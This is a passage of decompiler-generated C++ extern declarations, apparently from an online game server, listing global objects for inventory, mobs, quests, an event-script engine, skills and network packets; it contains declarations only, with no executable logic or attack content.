InventoryLocking::InventoryCellLockList::icll_Releaser_PointStone; // idb extern InventoryLocking::InvenCellReleaser_UnEquipInfo InventoryLocking::InventoryCellLockList::icll_Releaser_UnEquipInfo; // idb extern ORToken dash; extern unsigned int _S14_6; extern ItemDropFromMob::DropIndexCluster dropindexcluster; // idb extern ItemDropFromMob::DropGroupCluster dropgroupcluster; // idb extern LuaFuncTrigger::FuncTrigger LuaFuncTrigger::g_FuncTrigger_Chat; // idb extern ItemGroupClassifier itemgroupclassifier; // idb extern LuaFuncTrigger::FuncTrigger LuaFuncTrigger::g_FuncTrigger_Jump; // idb extern LuaFuncTrigger::FuncTrigger LuaFuncTrigger::g_FuncTrigger_UseItem; // idb extern CharModeClassifier cmc_54; extern unsigned int _S8_14; extern CharModeClassifier cmc_55; extern unsigned int _S10_30; extern ItemMall itemmall; // idb extern ItemEquipTable g_ItemEquipTable; // idb extern ItemRandomOption::RandomOptionDatum returnstr; extern ItemRandomOption::RandomOptionTable itemrandomoptiontable; // idb extern ItemsInChest itemsinchest; // idb extern CharModeClassifier cmc_56; extern unsigned int _S22_9; extern Name3 nousemap; extern unsigned int _S12_3; extern KingdomQuestGate kqgate; // idb extern char KingSlime[16]; // idb extern KingdomQuest::KingdomQuestContainer kqcontainer; // idb extern KingdomQuestEntrance kqentrance; // idb extern DebugLogging KQEntryCheckLog; // idb extern std::vector > g_KQContributeList; // idb extern KQRewardDataBox kqreward; // idb extern char sublayerview[]; // weak extern char byte_D3BA5CD[]; // weak extern char byte_D3BA5CE[]; // weak extern char byte_D3BA5CF[]; // weak extern char byte_D3BA5D0[]; // weak extern char byte_D3BA5D1[]; // weak extern SubLayer::SubLayerInteractLoader sublayerinteract; // idb extern char sublayerattack[]; // weak extern char byte_D3BA5F5[]; // weak extern char byte_D3BA5F6[]; // weak extern char byte_D3BA5F7[]; // weak extern char byte_D3BA5F8[]; // weak extern char byte_D3BA5F9[]; // weak extern ItemConversionMap itemconvmap; // idb extern OptionReader magiccontainer; // idb extern CLCReward gLCReward; // idb extern ItemUseFunction itemusefunction; // idb extern MapBlock::MapBlockInformationBox blockinfobox; // idb extern CFindWay findway; // idb extern CharModeClassifier cmc_57; extern unsigned int _S11_17; extern MapClusterManager::ClusterManager mapclustermanager; // idb extern TownPortalData townportaldata; // idb extern MIDRewardDataBox midreward; // idb extern MiniHouseEndureDataBox minihouseenduredatabox; // idb extern MiniHouseObjAniDataBox minihouseobjanidatabox; // idb extern __int16 MiscDataTable::mdt_DefSkill; // weak extern __int16 word_D4AB2CA; // weak extern __int16 word_D4AB2DC; // weak extern char byte_D4AB2DE; // weak extern char byte_D4AB2DF; // weak extern int dword_D4AB2E0; // weak extern int dword_D4AB2E4; // weak extern int dword_D4AB2E8; // weak extern int dword_D4AB2EC; // weak extern int dword_D4AB2F0; // weak extern int dword_D4AB2F4; // weak extern int dword_D4AB2F8; // weak extern int dword_D4AB2FC; // weak extern int dword_D4AB300; // weak extern int dword_D4AB304; // weak extern int dword_D4AB308; // weak extern int dword_D4AB30C; // weak extern int dword_D4AB310; // weak extern int dword_D4AB314; // weak extern __int16 word_D4AB318; // weak extern int dword_D4AB31C; // weak extern char byte_D4AB320; // weak extern int dword_D4AB324; // weak extern int dword_D4AB330; // weak extern __int16 word_D4AB334; // weak extern int dword_D4AB33C; // weak extern __int16 MiscDataTable::mdt_DefAbState; // weak extern char byte_D4AB342; // weak extern int dword_D4AB344; // weak extern int dword_D4AB348; // weak extern __int16 MiscDataTable::mdt_DefVarifAbstate; // weak extern int dword_D4AB350; // weak extern __int16 word_D4AB354; // weak extern int dword_D4AB358; // weak extern __int16 word_D4AB35C; // weak extern MobExplosionElement::MobExplosionAlways mobexplosealways; // idb extern MobExplosionElement::MobExplosionEnemy mobexploseenemy; // idb extern MobExplosionElement::MobExplosionTarget mobexplosetarget; // idb extern MiscDataTable miscdatatable; // idb extern MobAttackSequence mobattseq; // idb extern MobTargetEraser mobtargeteraser; // idb extern MobChat::MobChatManager mobchatman; // idb extern #734 *informer; extern MobHatchery *mobhatchery; // idb extern #734 *invaster; extern MobBreederStoreArgument mbsa; extern DebugLogging MobHatcheryLog; extern FamilyMobManagement::FamilyMobManager g_FamilyMobManager; // idb extern KQRegenTable kqregentable; // idb extern MobActionElement ShineObjectClass::ShineMob::defaction; // idb extern Name3 RegenReadyMobListMap; extern DebugLogging NPCDeadLog; // idb extern unsigned int mobregnum; extern MobRoaming::MobRoamingSet roamingpaths; // idb extern std::vector > mobinroam; // idb extern ShineRadian2OctaDirect sr2od; // idb extern StaticVector pathbuffer; extern unsigned int _S29_5; extern MobTacticElement::MobActionNoBrain MobTacticElement::MobActionArgument::Actor::nobrain; // idb extern MobTacticElement::MobActionRoaming MobTacticElement::MobActionArgument::Actor::roaming; // idb extern MobTacticElement::DuringReturn2Regen MobTacticElement::MobActionArgument::Actor::return2regen; // idb extern MobTacticElement::MobAction2Region MobTacticElement::MobActionArgument::Actor::toregion; // idb extern MobTacticElement::MobActionBase MobTacticElement::MobActionArgument::Actor::targetting; // idb extern Navigator::MapNavigator navi; extern std::vector > Navigator::MapNavigator::nm_UnitPointList; // idb extern _DWORD *dword_D769544; // idb extern std::vector >::iterator Where; // idb extern _UNKNOWN unk_D76954C; // weak extern MultiHitData::MultiHitTable _MultiHitTable; // idb extern CharModeClassifier cmc_58; extern unsigned int _S11_18; extern ORToken guild; extern ORToken weapontitle; extern ORToken item; extern ORToken skill; extern ORToken weapon; extern ORToken soulstone; extern unsigned int _S15_6; extern CharModeClassifier cmc_59; extern unsigned int _S5_44; extern CharModeClassifier cmc_60; extern unsigned int _S7_49; extern CharModeClassifier cmc_61; extern unsigned int _S9_14; extern CharModeClassifier cmc_62; extern unsigned int _S13_24; extern NPCItemList::NPCItemListTable npcitemlist; // idb extern MerchantCityData merchantcity; // idb extern NPCManager npcmanager; // idb extern size_t unk_D76CBE8; // idb extern OptionReader stru_D76CBEC; // idb extern NPCRoleBase npcrolebase; // idb extern List optoollist; // idb extern ZoneListenSession optoolsock; // idb extern _UNKNOWN ExceptionLog; // weak extern int dword_D77D808; // weak extern char byte_D77D98C; // weak extern DebugLogging TooLongPacket; // idb extern ProtocolPacket gpp; // idb extern char buffer[8192]; extern __int16 word_D77FC29; // weak extern Parameter::Cluster parameter_eraser_rate; // idb extern Parameter::Cluster parameter_eraser_plus; // idb extern ShineCommonParameter shineparam; // idb extern PartyManufacture partymanufacture; // idb extern CParty partycontainer; // idb extern CharModeClassifier cmc_63; extern unsigned int _S3_49; extern unsigned int pathfindflag; extern JunctionPointContainer junctionpointlist; // idb extern LinearStep linestep; extern PathFindTable pathfindtable; extern CellStack cellstack; extern PerformanceChecker performancechech; // idb extern PineScriptToken deftkn; extern unsigned int _S96_0; extern int std::fpos::_Stz; // weak extern int std::_Facetptr>::_Psave; // weak extern int std::_Facetptr>>>::_Psave; // weak extern int std::_Facetptr>::_Psave; // weak extern PineEventScriptNode::SysFuncShineGetLoseGuild sysfuncshinegetloseGuild; // idb extern PineEventScriptNode::SysFuncShinePlayerInArea sysfuncshineplayerinarea; // idb extern PineEventScriptNode::SysFuncShineDeadNumber sysfuncshinedeadnum; // idb extern PineEventScriptNode::SysFuncShineGetObjectList sysfuncshinegetobjectlist; // idb extern PineScriptTracer::ScriptTracer scrpttrcr; // idb extern PineEventScriptNode::SysFuncShineKQTop sysfuncshinekqtoplist; // idb extern PineEventScriptNode::SysFuncRand sysfuncrand; // idb extern PineEventScriptNode::SysFuncShineDistance sysfuncshinedistance; // idb extern PineEventScriptNode::SysFuncShineCircularScatter sysfuncshinecircularlocate; // idb extern PineEventScriptNode::SysFuncShineGetWinnerGuild sysfuncshinegetwinnerguild; // idb extern PineEventScriptNode::SysFuncShineRemoveFisrt sysfuncshineremovefisrt; // idb extern MobTacticElement::MobActionArgument trc_eol; // idb extern PineEventScriptNode::SysFuncShineMobRegen sysfuncshinemobregen; // idb extern PineEventScriptNode::SysFuncShineChange2Door sysfuncshinechange2door; // idb extern PineEventScriptNode::SysFuncShineNPCStand sysfuncshinenpcstand; // idb extern PineEventScriptNode::SysFuncShineRestSecond sysfuncshinerestsec; // idb extern PineEventScriptNode::SysFuncShineCharClass sysfuncshinecharclass; // idb extern PineEventScriptNode::SysFuncSQRT sysfuncsqrt; // idb extern PineEventScriptNode::SysFuncShineRange sysfuncshinerange; // idb extern PineEventScriptNode::SysFuncShineChange2Mob sysfuncshinechange2mob; // idb extern PineEventScriptNode::SysFuncShineCount sysfuncshinecount; // idb extern PineEventScriptNode::SysFuncShineDoorBuild sysfuncshinedoorbuild; // idb extern PineEventScriptNode::SysFuncShineIsGateUse sysfuncshineisgateuse; // idb extern PineEventScriptNode::SysFuncShineWhereIs sysfuncshinewhereis; // idb extern PineEventScriptNode::StatementList ps_statementlist; // idb extern PineEventScriptNode::SysFuncShineChange2NPC sysfuncshinechange2npc; // idb extern PineEventScriptNode::SysFuncShineKQResultList sysfuncshinekqresultlist; // idb extern PineEventScriptNode::SysFuncDistance sysfuncdistance; // idb extern PineEventScriptNode::SysFuncShineCharName sysfuncshinecharname; // idb extern PineEventScriptNode::SysFuncShineSPrintF1 sysfuncshinesprintf1; // idb extern unsigned int std::num_put>>::id; // idb extern unsigned int std::numpunct::id; // idb extern DebugLogging KQRankingLog; // idb extern _iobuf *unk_12F8B858; // idb extern _UNKNOWN unk_12F8B9DC; // weak extern ScriptMobBreeder mobbreeder; extern PineScriptMobRegenerator scriptmobregen; // idb extern PineScriptToken index_ply; extern PineScriptToken index_sec; extern PineScriptToken index_guildliminate; extern PineScriptToken index_logout; extern PineScriptToken index_GuildTournamentStart; extern PineScriptToken index_kq; extern PineScriptToken index_millisec; extern PineScriptToken index_hplow; extern PineScriptToken index_npcclickany; extern PineScriptToken index_minute; extern PineScriptToken index_CostumeBodyAcc; extern PineEventScriptNode::AutoRegList ScinarioCodePartyAutoReg; extern PineEventScriptNode::AutoRegList GTRegisterNPCAutoReg; extern PineEventScriptNode::AutoRegList BroadcastCodeAutoReg; extern PineScriptToken index_pickupitemindex; extern PineScriptToken index_playerdead; extern PineScriptToken index_playereliminate; extern PineEventScriptNode::AutoRegList NPCChatNoFacecutAutoReg; extern PineScriptToken index_mobeliminate; extern PineScriptToken index_fail; extern PineScriptToken index_OnLine; extern PineScriptToken index_allwithout; extern PineScriptToken index_areaentry; extern PineScriptToken index_observer; extern PineScriptToken index_pk; extern PineScriptToken index_arealeave; extern PineScriptToken index_recover; extern PineScriptToken index_npcclickindex; extern PineScriptToken index_hit; extern PineScriptToken index_hour; extern PineScriptToken index_Result; extern PineEventScriptNode::AutoRegList SendMapInMobInfoAutoReg; extern PineEventScriptNode::AutoRegList RegisterGTPortalAutoReg; extern PineScriptToken index_me; extern PineScriptToken index_deadhandle; extern PineScriptToken index_split; extern PineScriptToken index_all; extern PineEventScriptNode::AutoRegList HasAbstateAutoReg; extern PineScriptToken index_on; extern PineScriptToken index_mobindex; extern PineScriptToken index_dicegameend; extern PineScriptToken index_timeout; extern PineEventScriptNode::AutoRegList ID_FailAutoReg; extern PineScriptToken index_admin; extern DebugLogging DeadHandleLog; // idb extern PineScriptToken index_off; extern PineScriptToken index_handle; extern PineEventScriptNode::AutoRegList GTMobRegenKeyAutoReg; extern ScriptBriefMaker scriptbriefmaker; // idb extern PineEventScriptNode::AutoRegList ClearSaveLinktoAutoReg; extern PineScriptToken index_suc; extern PineScriptToken index_beggar; extern PineScriptToken index_hpfull; extern PineScriptToken index_CostumeHeadAcc; extern PineEventScriptNode::AutoRegList SaveLinktoAutoReg; extern PineScriptToken index_deadindex; extern PineScriptToken index_npcclickhandle; extern DebugLogging ScinarioCodeLog; // idb extern PineScriptTemporaryString g_PineScriptTemporaryString; // idb extern PineScriptToken index_killenemy; extern PineScriptToken index_rewardmid; extern PineScriptToken index_hpupper; extern PineScriptToken index_targetchange; extern PineScriptToken index_noaggro; extern PineScriptToken index_guild; extern PineScriptToken index_anywhere; extern CBriefProtocolAnalysis gBriefProtocolAnalysis; // idb extern CBriefProtocolAnalysis gProtocolAnalysis; // idb extern OptionReader recallpoint; // idb extern RulesOfEngagementAlwaysHit roe_cure; // idb extern RuleOfEngagementHealAttack roe_alwaysHealAttack; // idb extern RulesOfEngagement roe_normalMA; // idb extern RulesOfEngagementAlwaysHit roe_always; // idb extern RulesOfEngagementMagicalSkill roe_magical; // idb extern RulesOfEngagementNormalMA roe_alwaysHealPower; // idb extern RulesOfEngagementAlwaysCritical roe_alwaysCritical; // idb extern RulesOfEngagement roe_normalPY; // idb extern EngSklAtt engsklatt; // idb extern RulesOfEngagementPhisycalSkill roe_physical; // idb extern ScenarioBookShelf scenarioshelf; // idb extern CharModeClassifier cmc_64; extern unsigned int _S67_3; extern CharModeClassifier cmc_65; extern unsigned int _S69; extern ScriptInterrupt::ScriptInteruptWinGuild _Instance; extern int __S71__1__GetInstance___ScriptInterruptUnit_VScriptInteruptWinGuild_ScriptInterrupt___ScriptInterrupt__SAPAVScriptInteruptWinGuild_3_XZ_4IA; // weak extern ScriptInterrupt::ScriptInterruptRegisterManager _ins; extern int __S1__1__GetInstance_ScriptInterruptRegisterManager_ScriptInterrupt__SAAAV23_XZ_4IA; // weak extern ScriptInterrupt::ScriptInterruptAdder ScriptInterrupt::testInter; // idb extern ScriptInterrupt::ScriptInterruptBase si_PlayerEliminate; // idb extern ScriptInterrupt::ScriptInterruptBase si_MobEliminate; // idb extern ScriptInterrupt::ScriptInterruptBase si_AreaEntry; // idb extern ScriptInterrupt::ScriptInterruptBase si_Admin; // idb extern ScriptInterrupt::ScriptInterruptBase si_NPCClickAny; // idb extern ScriptInterrupt::ScriptInterruptBase si_NPCClickHandle; // idb extern ScriptInterrupt::ScriptInterruptBase si_AreaLeave; // idb extern ScriptInterrupt::ScriptInterruptBase si_PickUpItemIndex; // idb extern ScriptInterrupt::ScriptInterruptBase si_HPUpper; // idb extern ScriptInterrupt::ScriptInterruptBase si_Interval; // idb extern ScriptInterrupt::ScriptInterruptBase si_HPLow; // idb extern ScriptInterrupt::ScriptInterruptBase si_GuildEliminate; // idb extern ScriptInterrupt::ScriptInterruptBase si_KillEnemy; // idb extern ScriptInterrupt::ScriptInterruptBase si_HPFull; // idb extern ScriptInterrupt::ScriptInterruptBase si_TargetChange; // idb extern ScriptInterrupt::ScriptInterruptBase si_ObjectDeadIndex; // idb extern ScriptInterrupt::ScriptInterruptBase si_TimeOut; // idb extern ScriptInterrupt::ScriptInterruptBase si_NPCClickIndex; // idb extern ScriptInterrupt::ScriptInterruptBase si_PlayerDead; // idb extern ScriptInterrupt::ScriptInterruptBase si_ObjectDeadHandle; // idb extern SetItemData::SetItemEffectList setitemeffectlist; // idb extern SetItemData::SetItemClassifier setitemclassifier; // idb extern SetItemData::SkillEffect setitemskilleffect; // idb extern MemoryQueue setitemskilleffectqueue; // idb extern bool costumeWeaponDec_Normal; // weak extern DebugLogging InvenStatusLog; // idb extern CharModeClassifier cmc_66; extern unsigned int _S5_45; extern CharModeClassifier cmc_67; extern unsigned int _S10_31; extern CharModeClassifier cmc_68; extern unsigned int _S12_4; extern CharModeClassifier cmc_69; extern unsigned int _S14_7; extern CharModeClassifier cmc_70; extern unsigned int _S5_46; extern CharModeClassifier cmc_71; extern unsigned int _S5_47; extern CharModeClassifier cmc_72; extern unsigned int _S5_48; extern CharModeClassifier cmc_73; extern unsigned int _S5_49; extern CharModeClassifier cmc_74; extern unsigned int _S7_50; extern int ITableBase::ms_pkTable; // weak extern CharModeClassifier cmc_75; extern unsigned int _S5_50; extern CharModeClassifier cmc_76; extern unsigned int _S10_32; extern CharModeClassifier cmc_77; extern unsigned int _S12_5; extern CharModeClassifier cmc_78; extern unsigned int _S18_1; extern CharModeClassifier cmc_79; extern unsigned int _S8_15; extern CharModeClassifier cmc_80; extern unsigned int _S14_8; extern ItemRelocationManager itemrelormanager; extern CharModeClassifier cmc_81; extern unsigned int _S5_51; extern CharModeClassifier cmc_82; extern unsigned int _S5_52; extern DebugLogging ItemMSLog; // idb extern CharModeClassifier cmc_83; extern unsigned int _S5_53; extern int ITableBase::ms_pkTable; // weak extern CharModeClassifier cmc_84; extern unsigned int _S5_54; extern const unsigned __int16 nUsePotion; extern const unsigned __int16 nUseSPPotion; extern const unsigned __int16 nUseHPPotion; extern unsigned int _S9_15; extern CharModeClassifier cmc_85; extern unsigned int _S5_55; extern CharModeClassifier cmc_86; extern unsigned int _S13_25; extern CharModeClassifier cmc_87; extern unsigned int _S7_51; extern MemoryQueue queue_roar; // idb extern char delete_item_buffer[129]; extern int dword_130BD874; // weak extern __int16 word_130BD878; // weak extern int dword_130BD87A; // weak extern int dword_130BD87E; // weak extern __int16 word_130BD882; // weak extern _UNKNOWN unk_130BD884; // weak extern ProtocolPacket delete_item_packet; extern unsigned int _S5_56; extern _BYTE BriefInformationMob::bim_DefStateBit[80]; // idb extern struct ItemTotalInformation ShineObjectClass::ShineObject::so_CostumWeaponChargeing; // weak extern int dword_130BD95C; // weak extern int dword_130BD962; // weak extern _UNKNOWN ShineObjectClass::ShineMiniHouse::smh_StaticRollBackPos; // weak extern char byte_130BD9DC[12]; // idb extern char byte_130BD9E8; // weak extern char byte_130BD9FD[12]; // idb extern char byte_130BDA09; // weak extern int dword_130BDA1E; // weak extern int dword_130BDA22; // weak extern ListCheckStruct ShineObjectClass::ShineObject::so_SlantedListChecker; // idb extern struct STOPEMOTICON_DESCRIPT ShineObjectClass::ShineObject::so_defstopmotion; // weak extern char byte_130BDA42; // weak extern struct ChargedEffectContainer ShineObjectClass::ShineObject::so_ChargedEffectContainerClear; // weak extern __int16 word_130BDA46; // weak extern __int16 word_130BDA48; // weak extern char byte_130BDA4A; // weak extern char byte_130BDA4E; // weak extern char byte_130BDA4F; // weak extern char byte_130BDA50; // weak extern char byte_130BDA51; // weak extern __int16 word_130BDA52; // weak extern __int16 word_130BDA54; // weak extern __int16 word_130BDA56; // weak extern __int16 word_130BDA58; // weak extern __int16 word_130BDA5A; // weak extern char byte_130BDA5C; // weak extern char byte_130BDA5D; // weak extern __int16 word_130BDA5E; // weak extern __int16 word_130BDA60; // weak extern __int16 word_130BDA62; // weak extern __int16 word_130BDA64; // weak extern __int16 word_130BDA66; // weak extern char byte_130BDA68; // weak extern char byte_130BDA69; // weak extern __int16 word_130BDA6A; // weak extern __int16 word_130BDA6C; // weak extern __int16 word_130BDA6E; // weak extern char byte_130BDA70; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_emptyabstate; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_deftradestr; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_deflastupgradeinfo; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_TempLocation; // weak extern _UNKNOWN unk_130BDAFC; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_DefBattleStat; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_defextdata; // weak extern _UNKNOWN ShineObjectClass::ShineMiniHouse::smh_StaticEnterPos; // weak extern char byte_130BDB4C[12]; // idb extern char byte_130BDB58; // weak extern char byte_130BDB6D[12]; // idb extern char byte_130BDB79; // weak extern int dword_130BDB8E; // weak extern int dword_130BDB92; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_StatDistStr; // weak extern _UNKNOWN ShineObjectClass::ShineMobileObject::AS::tempbit; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_MiscTableDef; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_defabstatebit; // weak extern int loop; extern ShineRTTI ShineObjectClass::ShineDoor::m_RTTI; // idb extern ORField ShineObjectClass::ShineMobileObject::TA::tmp; // idb extern ShineRTTI ShineObjectClass::ShineObject::m_RTTI; // idb extern ShineRTTI ShineObjectClass::ShineServant::m_RTTI; // idb extern CharacterInventory ShineObjectClass::ShineObject::so_defiteminven; // idb extern AbnormalStateContainer::AbstateListInObject ShineObjectClass::ShineObject::so_defabstatelist; // idb extern SpyNet::EspionageAgent ShineObjectClass::ShineObject::so_spy; // idb extern PROTO_NC_CHAR_WEDDINGDATA_ACK ShineObjectClass::ShineObject::so_WeddingData; // idb extern DiceTaiSai ShineObjectClass::ShineObject::so_PacketEncrypt; // idb extern ItemLotInspector ShineObjectClass::ShineObject::so_ItemLotInspector; // idb extern _UNKNOWN ShineObjectClass::ShineObject::so_defaultparam; // weak extern ClientSessionNull ShineObjectClass::ShinePlayer::sp_defaultsocket; // idb extern InventoryLocking::InventoryCellLock ShineObjectClass::ShineObject::so_definvlocklist; // idb extern _UNKNOWN ShineObjectClass::ShineObject::so_defitemoperate; // weak extern CCharacterTitleZone ShineObjectClass::ShineObject::so_DefCharTitle; // idb extern ShineRTTI ShineObjectClass::ShineMiniHouse::m_RTTI; // idb extern AllOfRangeArgument ShineObjectClass::ShineObject::so_deftradebrd; // idb extern ShineRTTI ShineObjectClass::ShineMagicField::m_RTTI; // idb extern DebugLogging EldLocateLog; // idb extern StreetBooth ShineObjectClass::ShinePlayer::BoothSell::board; // idb extern _UNKNOWN ShineObjectClass::ShineObject::so_defname; // weak extern ShineRTTI ShineObjectClass::ShineNPC::m_RTTI; // idb extern AllOfRangeArgument allofrangearg; // idb extern DebugLogging InvalidProtocolLog; // idb extern ShineRTTI ShineObjectClass::ShineMob::m_RTTI; // idb extern ShineObjectManager shineobjmanager; // idb extern ShineRTTI ShineObjectClass::ShineBandit::m_RTTI; // idb extern MemoryQueue queue_linkreserv; // idb extern NameString namestring; // idb extern DebugLogging CoordRepairLog; // idb extern DebugLogging BroadCastLog; // idb extern unsigned int _S52_3; extern char errorbuffer[64]; extern ProtocolPacket errorpacket; extern unsigned int _S83_1; extern int seed; extern CharModeClassifier cmc_88; extern unsigned int _S90; extern DebugLogging InvalidRegistLog; extern unsigned int _S97_2; extern Name3 elderine; extern unsigned int _S107_0; extern CharModeClassifier cmc_89; extern unsigned int _S88_2; extern CharModeClassifier cmc_90; extern unsigned int _S92_1; extern CharModeClassifier cmc_91; extern unsigned int _S99; extern CharModeClassifier cmc_92; extern unsigned int _S5_57; extern ShineRTTI ShineObjectClass::ShineMobileObject::m_RTTI; // idb extern int ITableBase::ms_pkTable; // weak extern CharModeClassifier cmc_93; extern unsigned int _S11_19; extern CharModeClassifier cmc_94; extern unsigned int _S14_9; extern CharModeClassifier cmc_95; extern unsigned int _S16_15; extern ShineObjectClass::PlayerMobInfoMapping ChaoPlayer; extern ShineObjectClass::PlayerMobInfoMapping stru_130D785C; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D7860; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D7864; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D7868; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D786C; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D7870; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D7874; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D7878; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D787C; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D7880; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D7884; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D7888; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D788C; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D7890; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D7894; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D7898; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D789C; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D78A0; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D78A4; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D78A8; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D78AC; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D78B0; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D78B4; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D78B8; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D78BC; // idb extern ShineObjectClass::PlayerMobInfoMapping normalPlayer; extern ShineObjectClass::PlayerMobInfoMapping stru_130D78C4; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D78C8; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D78CC; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D78D0; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D78D4; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D78D8; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D78DC; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D78E0; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D78E4; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D78E8; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D78EC; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D78F0; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D78F4; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D78F8; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D78FC; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D7900; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D7904; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D7908; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D790C; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D7910; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D7914; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D7918; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D791C; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D7920; // idb extern ShineObjectClass::PlayerMobInfoMapping stru_130D7924; // idb extern unsigned int _S13_26; extern ShineRTTI ShineObjectClass::ShinePlayer::m_RTTI; // idb extern const unsigned __int16 nUsePotion_0; extern const unsigned __int16 nUseSPPotion_0; extern const unsigned __int16 nUseHPPotion_0; extern unsigned int _S6_16; extern const unsigned __int16 nUsePotion_1; extern const unsigned __int16 nUseSPPotion_1; extern const unsigned __int16 nUseHPPotion_1; extern unsigned int _S5_58; extern DebugLogging ReinforceMoveLog; // idb extern CharModeClassifier cmc_96; extern unsigned int _S8_16; extern CharModeClassifier cmc_97; extern unsigned int _S12_6; extern CharModeClassifier cmc_98; extern unsigned int _S14_10; extern CharModeClassifier stru_130D7C00; extern unsigned int _S16_16; extern CharModeClassifier stru_130D7C08; extern unsigned int _S18_2; extern char portal_effect_cmd_buffer[256]; extern __int16 word_130D7C14; // weak extern ProtocolPacket portal_effect_cmd_packet; extern unsigned int _S20_4; extern char furniture_effect_cmd_buffer[256]; extern __int16 word_130D7D24; // weak extern ProtocolPacket furniture_effect_cmd_packet; extern unsigned int _S22_10; extern CharModeClassifier stru_130D7E38; extern unsigned int _S26_6; extern CharModeClassifier stru_130D7E40; extern unsigned int _S10_33; extern MemoryQueue queue_MH_InnerInfo; // idb extern ShineRadian shineradian; // idb extern int SkillResultBuffer::bufferpoint; // weak extern SkillResultBuffer skillresultbuffer; // idb extern AxialListNearScanSkillFriend alnsf; // idb extern AxialListNearScanSkillParty alnsp; // idb extern FanFormSectorArgument ffsa; // idb extern AxialListNearScan alnse; // idb extern int dword_130DE188; // weak extern int dword_130DE18C; // weak extern int dword_130DE190; // weak extern MemoryQueue queue_skillerase; // idb extern CharModeClassifier stru_130DE3B0; extern unsigned int _S11_20; extern CharModeClassifier stru_130DE3B8; extern unsigned int _S19_15; extern CharModeClassifier stru_130DE3C0; extern unsigned int _S36_0; extern CharModeClassifier stru_130DE3C8; extern unsigned int _S17_9; extern CharModeClassifier stru_130DE3D0; extern unsigned int _S13_27; extern CharModeClassifier stru_130DE3D8; extern unsigned int _S15_7; extern unsigned __int16 skillbtreeunion; // idb extern BTree skillnametree; // idb extern SkillDataBox skilldatabox; // idb extern ChargedItemEffectDataBox passivedatabox; // idb extern CharModeClassifier stru_130DEE8C; extern unsigned int _S9_17; extern CharModeClassifier stru_130DEE94; extern unsigned int _S5_59; extern CharModeClassifier stru_130DEE9C; extern unsigned int _S7_52; extern CharModeClassifier stru_130DEEA4; extern unsigned int _S11_21; extern CharModeClassifier stru_130DEEAC; extern unsigned int _S13_28; extern SpamerPenaltyDataBox SpamerPenaltyData; // idb extern CharModeClassifier stru_130DEF40; extern unsigned int _S5_60; extern CharModeClassifier stru_130DEF48; extern unsigned int _S10_34; extern MemoryQueue queue_sparrowfly; // idb extern CharModeClassifier stru_130DF558; extern unsigned int _S5_61; extern CharModeClassifier stru_130DF560; extern unsigned int _S7_53; extern StringMaker::Maker maker; // idb extern CharModeClassifier stru_130DF974; extern unsigned int _S7_54; extern CharModeClassifier stru_130DF97C; extern unsigned int _S9_18; extern CharModeClassifier stru_130DF984; extern unsigned int _S11_22; extern CharModeClassifier stru_130DF98C; extern unsigned int _S13_29; extern CharModeClassifier stru_130DF99C; extern unsigned int _S5_62; extern SubAbstatePriority::PriorityBase subabpriority; // idb extern CharModeClassifier stru_130DF9A8; extern unsigned int _S5_63; extern CharModeClassifier stru_130DF9B0; extern unsigned int _S7_55; extern CharModeClassifier stru_130DF9B8; extern unsigned int _S9_19; extern CharModeClassifier stru_130DF9C0; extern unsigned int _S11_23; extern CharModeClassifier stru_130DF9C8; extern unsigned int _S13_30; extern CharModeClassifier stru_130DF9D0; extern unsigned int _S5_64; extern CharModeClassifier stru_130DF9D8; extern unsigned int _S7_56; extern CharModeClassifier stru_130DF9E0; extern unsigned int _S9_20; extern CharModeClassifier stru_130DF9E8; extern 